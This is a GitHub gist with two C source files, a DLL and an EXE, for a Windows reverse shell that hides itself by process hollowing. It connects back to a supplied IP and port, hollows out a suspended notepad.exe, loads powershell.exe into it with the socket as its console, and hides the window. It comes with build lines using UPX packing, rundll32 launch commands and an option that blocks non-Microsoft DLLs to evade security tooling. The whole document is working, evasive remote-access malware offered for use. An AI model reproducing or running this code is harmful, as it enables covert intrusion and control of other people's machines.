Skip to content

Instantly share code, notes, and snippets.

@FrankSpierings
Last active August 30, 2022 20:46
Show Gist options
  • Star 4 You must be signed in to star a gist
  • Fork 2 You must be signed in to fork a gist
  • Save FrankSpierings/5ad605096a4e7a81cefd4e852b6086e4 to your computer and use it in GitHub Desktop.
Save FrankSpierings/5ad605096a4e7a81cefd4e852b6086e4 to your computer and use it in GitHub Desktop.
Reverse shell which uses process hollowing technique
// docker run -it --rm -v `pwd`:/tmp/building ubuntu bash -c "cd /tmp/building; apt update && apt install -y mingw-w64 upx && i686-w64-mingw32-gcc -O3 -s process-hollow-shell-dll.c -lws2_32 -lntdll -shared -o process-hollow-shell.dll; upx --ultra-brute process-hollow-shell.dll"
//
// Use -DDEBUG at compile time, for the logging printf messages.
// Use -DNON_MS_DLL_BLOCK at compile time, to block injection of non Microsoft DLL's into the host process.
// Use -DWAITFOR at compile time, to wait for the host process to finish.
//
// Run:
// rundll32 process-hollow-shell.dll,main 127.0.0.1 4444
// rundll32 process-hollow-shell.dll,main 127.0.0.1 4444 c:\windows\system32\cmd.exe
// rundll32 process-hollow-shell.dll,main 127.0.0.1 4444 c:\windows\system32\cmd.exe c:\windows\system32\notepad.exe
//
// Thank you:
// - https://www.ired.team/offensive-security/code-injection-process-injection/process-hollowing-and-pe-image-relocations
// - https://www.ired.team/offensive-security/defense-evasion/preventing-3rd-party-dlls-from-injecting-into-your-processes#updateprocthreadattribute
// - https://www.programmersought.com/article/27975170345/
#include <stdio.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#include <windows.h>
#include <winternl.h>
#pragma comment(lib, "Ws2_32.lib")
typedef NTSTATUS (WINAPI * NtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress);
#ifdef NON_MS_DLL_BLOCK
typedef WINBOOL (WINAPI *InitializeProcThreadAttributeList) (LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList, DWORD dwAttributeCount, DWORD dwFlags, PSIZE_T lpSize);
typedef WINBOOL (WINAPI *UpdateProcThreadAttribute) (LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList, DWORD dwFlags, DWORD_PTR Attribute, PVOID lpValue, SIZE_T cbSize, PVOID lpPreviousValue, PSIZE_T lpReturnSize);
typedef struct _STARTUPINFOEXA {
STARTUPINFOA StartupInfo;
LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList;
} STARTUPINFOEXA,*LPSTARTUPINFOEXA;
#endif
typedef struct BASE_RELOCATION_BLOCK {
DWORD PageAddress;
DWORD BlockSize;
} BASE_RELOCATION_BLOCK, *PBASE_RELOCATION_BLOCK;
typedef struct BASE_RELOCATION_ENTRY {
USHORT Offset : 12;
USHORT Type : 4;
} BASE_RELOCATION_ENTRY, *PBASE_RELOCATION_ENTRY;
BOOL CreateProcessHollowed(LPSTR lpCommandLine, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation, LPVOID *lpDestinationBase, SIZE_T dwSourceImageSize) {
BOOL bResult;
NTSTATUS status;
SIZE_T bytesRead = 0;
// Create the host process in a suspended state.
#ifdef NON_MS_DLL_BLOCK
bResult = CreateProcessA(NULL, lpCommandLine, NULL, NULL, TRUE, CREATE_SUSPENDED|CREATE_NEW_CONSOLE|EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, lpStartupInfo, lpProcessInformation);
#else
bResult = CreateProcessA(NULL, lpCommandLine, NULL, NULL, TRUE, CREATE_SUSPENDED|CREATE_NEW_CONSOLE, NULL, NULL, lpStartupInfo, lpProcessInformation);
#endif
if (!bResult) {
fprintf(stderr, "Unable to start %s", lpCommandLine);
return FALSE;
}
#ifdef DEBUG
printf("Host process : % 18s\n", lpCommandLine);
printf("Host process id : % 18d\n", lpProcessInformation->dwProcessId);
#endif
// Find the Process Environment Block
PROCESS_BASIC_INFORMATION pbi;
ZeroMemory(&pbi, sizeof(pbi));
DWORD returnLength = 0;
status = NtQueryInformationProcess(lpProcessInformation->hProcess, ProcessBasicInformation, &pbi, sizeof(PROCESS_BASIC_INFORMATION), &returnLength);
// The ImageBaseAddress is 8 bytes from pbi.PebBaseAddress.
// Read that address to obtain the value.
LPVOID lpImageBaseAddress = NULL;
DWORD dwPebImageBaseOffset = (DWORD)pbi.PebBaseAddress + 8;
#ifdef DEBUG
printf("PebBaseAddress : 0x%016x\n", pbi.PebBaseAddress);
printf("PebImageBaseOffset : 0x%016x\n", dwPebImageBaseOffset);
#endif
bResult = ReadProcessMemory(lpProcessInformation->hProcess, (LPCVOID)dwPebImageBaseOffset, &lpImageBaseAddress, 4, &bytesRead);
if (!bResult) {
fprintf(stderr, "Unable to read memory 0x%016x", dwPebImageBaseOffset);
TerminateProcess(lpProcessInformation->hProcess, 0);
return FALSE;
}
#ifdef DEBUG
printf("ImageBaseAddress : 0x%016x\n", lpImageBaseAddress);
#endif
// Carve out the host process by unmapping it.
NtUnmapViewOfSection fp_NtUnmapViewOfSection = (NtUnmapViewOfSection)(GetProcAddress(GetModuleHandle("ntdll"), "NtUnmapViewOfSection"));
status = fp_NtUnmapViewOfSection(lpProcessInformation->hProcess, lpImageBaseAddress);
#ifdef DEBUG
printf("UnmapViewOfSection : % 18d\n", status);
#endif
// Allocate new memory in the host process for the new executable.
*lpDestinationBase = VirtualAllocEx(lpProcessInformation->hProcess, lpImageBaseAddress, dwSourceImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!*lpDestinationBase) {
// fprintf(stderr, "Unable to allocate memory 0x%016x: 0x%08x\n", lpImageBaseAddress, GetLastError());
TerminateProcess(lpProcessInformation->hProcess, 0);
return FALSE;
}
return TRUE;
}
int main(HWND hwnd, HINSTANCE hinst, char* cmdline, int nCmdShow)
{
BOOL bResult;
int MAXARGS = 4;
int argc = 0;
char* argv[MAXARGS];
char* token = cmdline;
while ((token = strtok(token, " ")) != NULL && argc < MAXARGS)
{
argv[argc++] = token;
token = NULL;
}
if (argc < 2) {
fprintf(stderr, "Missing arguments\n");
return -1;
}
char* ip = argv[0];
unsigned int port = atoi(argv[1]);
#ifdef DEBUG
printf("Connecting : %s:%d\n", ip, port);
#endif
WSADATA WSAData;
SOCKET client;
SOCKADDR_IN addr;
WSAStartup(MAKEWORD(2, 0), &WSAData);
client = WSASocketW(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = inet_addr(ip);
addr.sin_port = htons(port);
if (connect(client, (SOCKADDR*) &addr, sizeof(addr))) {
fprintf(stderr, "Could not connect\n");
return -1;
}
// Create host process - this is the process to be hollowed out
#ifndef NON_MS_DLL_BLOCK
STARTUPINFOA si;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
si.hStdInput = (HANDLE)client;
si.hStdOutput = (HANDLE)client;
si.hStdError = (HANDLE)client;
#else
#define PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY 0x20007
#define PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON 0x0000100000000000
STARTUPINFOEXA si;
ZeroMemory(&si, sizeof(si));
si.StartupInfo.cb = sizeof(si);
si.StartupInfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW | EXTENDED_STARTUPINFO_PRESENT;
si.StartupInfo.wShowWindow = SW_HIDE;
si.StartupInfo.hStdInput = (HANDLE)client;
si.StartupInfo.hStdOutput = (HANDLE)client;
si.StartupInfo.hStdError = (HANDLE)client;
// Obtain required kernel32 function pointers.
InitializeProcThreadAttributeList fp_InitializeProcThreadAttributeList = (InitializeProcThreadAttributeList)(GetProcAddress(GetModuleHandle("kernel32"), "InitializeProcThreadAttributeList"));
UpdateProcThreadAttribute fp_UpdateProcThreadAttribute = (UpdateProcThreadAttribute)(GetProcAddress(GetModuleHandle("kernel32"), "UpdateProcThreadAttribute"));
//Acquire PROC_THREAD_ATTRIBUTE_LIST size.
SIZE_T attributeSize = 0;
bResult = fp_InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST) HeapAlloc(GetProcessHeap(), 0, attributeSize);
// Initialize the PROC_THREAD_ATTRIBUTE_LIST.
bResult = fp_InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize);
// Apply the policy
DWORD64 policy = PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON;
bResult = fp_UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, &policy, sizeof(policy), NULL, NULL);
if (!bResult) {
fprintf(stderr, "Could not apply the PROC_THREAD_ATTRIBUTE_LIST policy.\n");
return -1;
}
#endif
PROCESS_INFORMATION pi;
ZeroMemory(&pi, sizeof(pi));
char *hostprocess = "c:\\windows\\system32\\notepad.exe";
char *sourceprocess = "c:\\windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe";
if (argc > 2) {
sourceprocess = argv[2];
}
if (argc > 3) {
hostprocess = argv[3];
}
SIZE_T bytesRead = 0;
// read source file - this is the file that will be executed inside the hollowed process
HANDLE sourceFile = CreateFileA(sourceprocess, GENERIC_READ, 0, NULL, OPEN_ALWAYS, 0, NULL);
DWORD sourceFileSize = GetFileSize(sourceFile, NULL);
LPVOID sourceFileBytesBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sourceFileSize);
bResult = ReadFile(sourceFile, sourceFileBytesBuffer, sourceFileSize, NULL, NULL);
if (!bResult) {
fprintf(stderr, "Unable to read file %s\n", sourceFile);
return -1;
}
#ifdef DEBUG
printf("Source process : % 18s\n", sourceprocess);
printf("Source file size : % 18d\n", sourceFileSize);
#endif
// get source image size
PIMAGE_DOS_HEADER sourceImageDosHeaders = (PIMAGE_DOS_HEADER)sourceFileBytesBuffer;
PIMAGE_NT_HEADERS sourceImageNTHeaders = (PIMAGE_NT_HEADERS)((DWORD)sourceFileBytesBuffer + sourceImageDosHeaders->e_lfanew);
SIZE_T sourceImageSize = sourceImageNTHeaders->OptionalHeader.SizeOfImage;
#ifdef DEBUG
printf("Source image size : % 18d\n", sourceImageSize);
#endif
LPVOID lpDestinationBase = NULL;
bResult = FALSE;
short counter = 20;
while (!bResult && counter > 0)
{
counter--;
bResult = CreateProcessHollowed(hostprocess, (LPSTARTUPINFOA)&si, &pi, &lpDestinationBase, sourceImageSize);
}
if (!bResult) {
fprintf(stderr, "Unable to hollow process.");
return -1;
}
lpDestinationBase = lpDestinationBase;
// Get delta between sourceImageBaseAddress and destinationImageBaseAddress
DWORD deltaImageBase = (DWORD)lpDestinationBase - sourceImageNTHeaders->OptionalHeader.ImageBase;
// Set sourceImageBase to lpDestinationBase and copy the source Image headers to the destination image
SIZE_T bytesWritten = 0;
sourceImageNTHeaders->OptionalHeader.ImageBase = (DWORD)lpDestinationBase;
bResult = WriteProcessMemory(pi.hProcess, lpDestinationBase, sourceFileBytesBuffer, sourceImageNTHeaders->OptionalHeader.SizeOfHeaders, &bytesWritten);
#ifdef DEBUG
printf("Wrote header size : % 18d\n", sourceImageSize);
#endif
// Get pointer to first source image section
PIMAGE_SECTION_HEADER sourceImageSection = (PIMAGE_SECTION_HEADER)((DWORD)sourceFileBytesBuffer + sourceImageDosHeaders->e_lfanew + sizeof(IMAGE_NT_HEADERS32));
PIMAGE_SECTION_HEADER sourceImageSectionOld = sourceImageSection;
// Copy source image sections to destination
for (int i = 0; i < sourceImageNTHeaders->FileHeader.NumberOfSections; i++)
{
PVOID destinationSectionLocation = (PVOID)((DWORD)lpDestinationBase + sourceImageSection->VirtualAddress);
PVOID sourceSectionLocation = (PVOID)((DWORD)sourceFileBytesBuffer + sourceImageSection->PointerToRawData);
bResult = WriteProcessMemory(pi.hProcess, destinationSectionLocation, sourceSectionLocation, sourceImageSection->SizeOfRawData, &bytesWritten);
if (!bResult) {
#ifdef DEBUG
printf("Unable to write from 0x%016x to 0x%016x for section(%02d): 0x%08x\n", sourceSectionLocation, destinationSectionLocation, i, GetLastError());
#endif
return -1;
}
#ifdef DEBUG
printf("Wrote section (%03d): % 18d\n", i, bytesWritten);
printf("Source->destination: 0x%016x->0x%016x\n", sourceSectionLocation, destinationSectionLocation);
#endif
sourceImageSection++;
}
// Get address of the relocation table
IMAGE_DATA_DIRECTORY relocationTable = sourceImageNTHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
// Patch the binary with relocations
sourceImageSection = sourceImageSectionOld;
for (int i = 0; i < sourceImageNTHeaders->FileHeader.NumberOfSections; i++)
{
BYTE* relocSectionName = (BYTE*)".reloc";
if (memcmp(sourceImageSection->Name, relocSectionName, 5) != 0)
{
sourceImageSection++;
continue;
}
DWORD sourceRelocationTableRaw = sourceImageSection->PointerToRawData;
DWORD relocationOffset = 0;
while (relocationOffset < relocationTable.Size) {
PBASE_RELOCATION_BLOCK relocationBlock = (PBASE_RELOCATION_BLOCK)((DWORD)sourceFileBytesBuffer + sourceRelocationTableRaw + relocationOffset);
relocationOffset += sizeof(BASE_RELOCATION_BLOCK);
DWORD relocationEntryCount = (relocationBlock->BlockSize - sizeof(BASE_RELOCATION_BLOCK)) / sizeof(BASE_RELOCATION_ENTRY);
PBASE_RELOCATION_ENTRY relocationEntries = (PBASE_RELOCATION_ENTRY)((DWORD)sourceFileBytesBuffer + sourceRelocationTableRaw + relocationOffset);
for (DWORD y = 0; y < relocationEntryCount; y++)
{
relocationOffset += sizeof(BASE_RELOCATION_ENTRY);
if (relocationEntries[y].Type == 0)
{
continue;
}
DWORD patchAddress = relocationBlock->PageAddress + relocationEntries[y].Offset;
DWORD patchedBuffer = 0;
bResult = ReadProcessMemory(pi.hProcess,(LPCVOID)((DWORD)lpDestinationBase + patchAddress), &patchedBuffer, sizeof(DWORD), &bytesRead);
patchedBuffer += deltaImageBase;
bResult = WriteProcessMemory(pi.hProcess, (PVOID)((DWORD)lpDestinationBase + patchAddress), &patchedBuffer, sizeof(DWORD), &bytesWritten);
}
}
}
// Get context of the dest process thread
CONTEXT context;
ZeroMemory(&context, sizeof(context));
context.ContextFlags = CONTEXT_INTEGER;
GetThreadContext(pi.hThread, &context);
// Update dest image entry point to the new entry point of the source image and resume dest image thread
DWORD patchedEntryPoint = (DWORD)lpDestinationBase + sourceImageNTHeaders->OptionalHeader.AddressOfEntryPoint;
context.Eax = patchedEntryPoint;
SetThreadContext(pi.hThread, &context);
ResumeThread(pi.hThread);
// Wait for the process to finish
#ifdef WAITFOR
WaitForSingleObject(pi.hProcess, INFINITE);
closesocket(client);
WSACleanup();
#endif
return 0;
}
// docker run -it --rm -v `pwd`:/tmp/building ubuntu bash -c "cd /tmp/building; apt update && apt install -y mingw-w64 upx && i686-w64-mingw32-gcc -O3 -s process-hollow-shell.c -lws2_32 -lntdll -o process-hollow-shell.exe; upx --ultra-brute process-hollow-shell.exe"
//
// Use -DDEBUG at compile time, for the logging printf messages.
// Use -DNON_MS_DLL_BLOCK at compile time, to block injection of non Microsoft DLL's into the host process.
// Use -DWAITFOR at compile time, to wait for the host process to finish.
//
// Thank you:
// - https://www.ired.team/offensive-security/code-injection-process-injection/process-hollowing-and-pe-image-relocations
// - https://www.ired.team/offensive-security/defense-evasion/preventing-3rd-party-dlls-from-injecting-into-your-processes#updateprocthreadattribute
// - https://www.programmersought.com/article/27975170345/
#include <stdio.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#include <windows.h>
#include <winternl.h>
#pragma comment(lib, "Ws2_32.lib")
typedef NTSTATUS (WINAPI * NtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress);
#ifdef NON_MS_DLL_BLOCK
typedef WINBOOL (WINAPI *InitializeProcThreadAttributeList) (LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList, DWORD dwAttributeCount, DWORD dwFlags, PSIZE_T lpSize);
typedef WINBOOL (WINAPI *UpdateProcThreadAttribute) (LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList, DWORD dwFlags, DWORD_PTR Attribute, PVOID lpValue, SIZE_T cbSize, PVOID lpPreviousValue, PSIZE_T lpReturnSize);
typedef struct _STARTUPINFOEXA {
STARTUPINFOA StartupInfo;
LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList;
} STARTUPINFOEXA,*LPSTARTUPINFOEXA;
#endif
typedef struct BASE_RELOCATION_BLOCK {
DWORD PageAddress;
DWORD BlockSize;
} BASE_RELOCATION_BLOCK, *PBASE_RELOCATION_BLOCK;
typedef struct BASE_RELOCATION_ENTRY {
USHORT Offset : 12;
USHORT Type : 4;
} BASE_RELOCATION_ENTRY, *PBASE_RELOCATION_ENTRY;
BOOL CreateProcessHollowed(LPSTR lpCommandLine, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation, LPVOID *lpDestinationBase, SIZE_T dwSourceImageSize) {
BOOL bResult;
NTSTATUS status;
SIZE_T bytesRead = 0;
// Create the host process in a suspended state.
#ifdef NON_MS_DLL_BLOCK
bResult = CreateProcessA(NULL, lpCommandLine, NULL, NULL, TRUE, CREATE_SUSPENDED|CREATE_NEW_CONSOLE|EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, lpStartupInfo, lpProcessInformation);
#else
bResult = CreateProcessA(NULL, lpCommandLine, NULL, NULL, TRUE, CREATE_SUSPENDED|CREATE_NEW_CONSOLE, NULL, NULL, lpStartupInfo, lpProcessInformation);
#endif
if (!bResult) {
fprintf(stderr, "Unable to start %s", lpCommandLine);
return FALSE;
}
#ifdef DEBUG
printf("Host process : % 18s\n", lpCommandLine);
printf("Host process id : % 18d\n", lpProcessInformation->dwProcessId);
#endif
// Find the Process Environment Block
PROCESS_BASIC_INFORMATION pbi;
ZeroMemory(&pbi, sizeof(pbi));
DWORD returnLength = 0;
status = NtQueryInformationProcess(lpProcessInformation->hProcess, ProcessBasicInformation, &pbi, sizeof(PROCESS_BASIC_INFORMATION), &returnLength);
// The ImageBaseAddress is 8 bytes from pbi.PebBaseAddress.
// Read that address to obtain the value.
LPVOID lpImageBaseAddress = NULL;
DWORD dwPebImageBaseOffset = (DWORD)pbi.PebBaseAddress + 8;
#ifdef DEBUG
printf("PebBaseAddress : 0x%016x\n", pbi.PebBaseAddress);
printf("PebImageBaseOffset : 0x%016x\n", dwPebImageBaseOffset);
#endif
bResult = ReadProcessMemory(lpProcessInformation->hProcess, (LPCVOID)dwPebImageBaseOffset, &lpImageBaseAddress, 4, &bytesRead);
if (!bResult) {
fprintf(stderr, "Unable to read memory 0x%016x", dwPebImageBaseOffset);
TerminateProcess(lpProcessInformation->hProcess, 0);
return FALSE;
}
#ifdef DEBUG
printf("ImageBaseAddress : 0x%016x\n", lpImageBaseAddress);
#endif
// Carve out the host process by unmapping it.
NtUnmapViewOfSection fp_NtUnmapViewOfSection = (NtUnmapViewOfSection)(GetProcAddress(GetModuleHandle("ntdll"), "NtUnmapViewOfSection"));
status = fp_NtUnmapViewOfSection(lpProcessInformation->hProcess, lpImageBaseAddress);
#ifdef DEBUG
printf("UnmapViewOfSection : % 18d\n", status);
#endif
// Allocate new memory in the host process for the new executable.
*lpDestinationBase = VirtualAllocEx(lpProcessInformation->hProcess, lpImageBaseAddress, dwSourceImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!*lpDestinationBase) {
// fprintf(stderr, "Unable to allocate memory 0x%016x: 0x%08x\n", lpImageBaseAddress, GetLastError());
TerminateProcess(lpProcessInformation->hProcess, 0);
return FALSE;
}
return TRUE;
}
int main(int argc, char* argv[])
{
BOOL bResult;
// Create the reverse connection
if (argc < 2) {
fprintf(stderr, "Missing arguments\n");
return -1;
}
char* ip = argv[1];
unsigned int port = atoi(argv[2]);
#ifdef DEBUG
printf("Connecting : %s:%d\n", ip, port);
#endif
WSADATA WSAData;
SOCKET client;
SOCKADDR_IN addr;
WSAStartup(MAKEWORD(2, 0), &WSAData);
client = WSASocketW(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = inet_addr(ip);
addr.sin_port = htons(port);
if (connect(client, (SOCKADDR*) &addr, sizeof(addr))) {
fprintf(stderr, "Could not connect\n");
return -1;
}
// Create host process - this is the process to be hollowed out
#ifndef NON_MS_DLL_BLOCK
STARTUPINFOA si;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
si.hStdInput = (HANDLE)client;
si.hStdOutput = (HANDLE)client;
si.hStdError = (HANDLE)client;
#else
#define PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY 0x20007
#define PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON 0x0000100000000000
STARTUPINFOEXA si;
ZeroMemory(&si, sizeof(si));
si.StartupInfo.cb = sizeof(si);
si.StartupInfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW | EXTENDED_STARTUPINFO_PRESENT;
si.StartupInfo.wShowWindow = SW_HIDE;
si.StartupInfo.hStdInput = (HANDLE)client;
si.StartupInfo.hStdOutput = (HANDLE)client;
si.StartupInfo.hStdError = (HANDLE)client;
// Obtain required kernel32 function pointers.
InitializeProcThreadAttributeList fp_InitializeProcThreadAttributeList = (InitializeProcThreadAttributeList)(GetProcAddress(GetModuleHandle("kernel32"), "InitializeProcThreadAttributeList"));
UpdateProcThreadAttribute fp_UpdateProcThreadAttribute = (UpdateProcThreadAttribute)(GetProcAddress(GetModuleHandle("kernel32"), "UpdateProcThreadAttribute"));
//Acquire PROC_THREAD_ATTRIBUTE_LIST size.
SIZE_T attributeSize = 0;
bResult = fp_InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST) HeapAlloc(GetProcessHeap(), 0, attributeSize);
// Initialize the PROC_THREAD_ATTRIBUTE_LIST.
bResult = fp_InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize);
// Apply the policy
DWORD64 policy = PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON;
bResult = fp_UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, &policy, sizeof(policy), NULL, NULL);
if (!bResult) {
fprintf(stderr, "Could not apply the PROC_THREAD_ATTRIBUTE_LIST policy.\n");
return -1;
}
#endif
PROCESS_INFORMATION pi;
ZeroMemory(&pi, sizeof(pi));
char *hostprocess = "c:\\windows\\system32\\notepad.exe";
char *sourceprocess = "c:\\windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe";
if (argc > 3) {
sourceprocess = argv[3];
}
if (argc > 4) {
hostprocess = argv[4];
}
SIZE_T bytesRead = 0;
// read source file - this is the file that will be executed inside the hollowed process
HANDLE sourceFile = CreateFileA(sourceprocess, GENERIC_READ, 0, NULL, OPEN_ALWAYS, 0, NULL);
DWORD sourceFileSize = GetFileSize(sourceFile, NULL);
LPVOID sourceFileBytesBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sourceFileSize);
bResult = ReadFile(sourceFile, sourceFileBytesBuffer, sourceFileSize, NULL, NULL);
if (!bResult) {
fprintf(stderr, "Unable to read file %s\n", sourceFile);
return -1;
}
#ifdef DEBUG
printf("Source process : % 18s\n", sourceprocess);
printf("Source file size : % 18d\n", sourceFileSize);
#endif
// get source image size
PIMAGE_DOS_HEADER sourceImageDosHeaders = (PIMAGE_DOS_HEADER)sourceFileBytesBuffer;
PIMAGE_NT_HEADERS sourceImageNTHeaders = (PIMAGE_NT_HEADERS)((DWORD)sourceFileBytesBuffer + sourceImageDosHeaders->e_lfanew);
SIZE_T sourceImageSize = sourceImageNTHeaders->OptionalHeader.SizeOfImage;
#ifdef DEBUG
printf("Source image size : % 18d\n", sourceImageSize);
#endif
LPVOID lpDestinationBase = NULL;
bResult = FALSE;
short counter = 20;
while (!bResult && counter > 0)
{
counter--;
bResult = CreateProcessHollowed(hostprocess, (LPSTARTUPINFOA)&si, &pi, &lpDestinationBase, sourceImageSize);
}
if (!bResult) {
fprintf(stderr, "Unable to hollow process.");
return -1;
}
lpDestinationBase = lpDestinationBase;
// Get delta between sourceImageBaseAddress and destinationImageBaseAddress
DWORD deltaImageBase = (DWORD)lpDestinationBase - sourceImageNTHeaders->OptionalHeader.ImageBase;
// Set sourceImageBase to lpDestinationBase and copy the source Image headers to the destination image
SIZE_T bytesWritten = 0;
sourceImageNTHeaders->OptionalHeader.ImageBase = (DWORD)lpDestinationBase;
bResult = WriteProcessMemory(pi.hProcess, lpDestinationBase, sourceFileBytesBuffer, sourceImageNTHeaders->OptionalHeader.SizeOfHeaders, &bytesWritten);
#ifdef DEBUG
printf("Wrote header size : % 18d\n", sourceImageSize);
#endif
// Get pointer to first source image section
PIMAGE_SECTION_HEADER sourceImageSection = (PIMAGE_SECTION_HEADER)((DWORD)sourceFileBytesBuffer + sourceImageDosHeaders->e_lfanew + sizeof(IMAGE_NT_HEADERS32));
PIMAGE_SECTION_HEADER sourceImageSectionOld = sourceImageSection;
// Copy source image sections to destination
for (int i = 0; i < sourceImageNTHeaders->FileHeader.NumberOfSections; i++)
{
PVOID destinationSectionLocation = (PVOID)((DWORD)lpDestinationBase + sourceImageSection->VirtualAddress);
PVOID sourceSectionLocation = (PVOID)((DWORD)sourceFileBytesBuffer + sourceImageSection->PointerToRawData);
bResult = WriteProcessMemory(pi.hProcess, destinationSectionLocation, sourceSectionLocation, sourceImageSection->SizeOfRawData, &bytesWritten);
if (!bResult) {
#ifdef DEBUG
printf("Unable to write from 0x%016x to 0x%016x for section(%02d): 0x%08x\n", sourceSectionLocation, destinationSectionLocation, i, GetLastError());
#endif
return -1;
}
#ifdef DEBUG
printf("Wrote section (%03d): % 18d\n", i, bytesWritten);
printf("Source->destination: 0x%016x->0x%016x\n", sourceSectionLocation, destinationSectionLocation);
#endif
sourceImageSection++;
}
// Get address of the relocation table
IMAGE_DATA_DIRECTORY relocationTable = sourceImageNTHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
// Patch the binary with relocations
sourceImageSection = sourceImageSectionOld;
for (int i = 0; i < sourceImageNTHeaders->FileHeader.NumberOfSections; i++)
{
BYTE* relocSectionName = (BYTE*)".reloc";
if (memcmp(sourceImageSection->Name, relocSectionName, 5) != 0)
{
sourceImageSection++;
continue;
}
DWORD sourceRelocationTableRaw = sourceImageSection->PointerToRawData;
DWORD relocationOffset = 0;
while (relocationOffset < relocationTable.Size) {
PBASE_RELOCATION_BLOCK relocationBlock = (PBASE_RELOCATION_BLOCK)((DWORD)sourceFileBytesBuffer + sourceRelocationTableRaw + relocationOffset);
relocationOffset += sizeof(BASE_RELOCATION_BLOCK);
DWORD relocationEntryCount = (relocationBlock->BlockSize - sizeof(BASE_RELOCATION_BLOCK)) / sizeof(BASE_RELOCATION_ENTRY);
PBASE_RELOCATION_ENTRY relocationEntries = (PBASE_RELOCATION_ENTRY)((DWORD)sourceFileBytesBuffer + sourceRelocationTableRaw + relocationOffset);
for (DWORD y = 0; y < relocationEntryCount; y++)
{
relocationOffset += sizeof(BASE_RELOCATION_ENTRY);
if (relocationEntries[y].Type == 0)
{
continue;
}
DWORD patchAddress = relocationBlock->PageAddress + relocationEntries[y].Offset;
DWORD patchedBuffer = 0;
bResult = ReadProcessMemory(pi.hProcess,(LPCVOID)((DWORD)lpDestinationBase + patchAddress), &patchedBuffer, sizeof(DWORD), &bytesRead);
patchedBuffer += deltaImageBase;
bResult = WriteProcessMemory(pi.hProcess, (PVOID)((DWORD)lpDestinationBase + patchAddress), &patchedBuffer, sizeof(DWORD), &bytesWritten);
}
}
}
// Get context of the dest process thread
CONTEXT context;
ZeroMemory(&context, sizeof(context));
context.ContextFlags = CONTEXT_INTEGER;
GetThreadContext(pi.hThread, &context);
// Update dest image entry point to the new entry point of the source image and resume dest image thread
DWORD patchedEntryPoint = (DWORD)lpDestinationBase + sourceImageNTHeaders->OptionalHeader.AddressOfEntryPoint;
context.Eax = patchedEntryPoint;
SetThreadContext(pi.hThread, &context);
ResumeThread(pi.hThread);
// Wait for the process to finish
#ifdef WAITFOR
WaitForSingleObject(pi.hProcess, INFINITE);
closesocket(client);
WSACleanup();
#endif
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment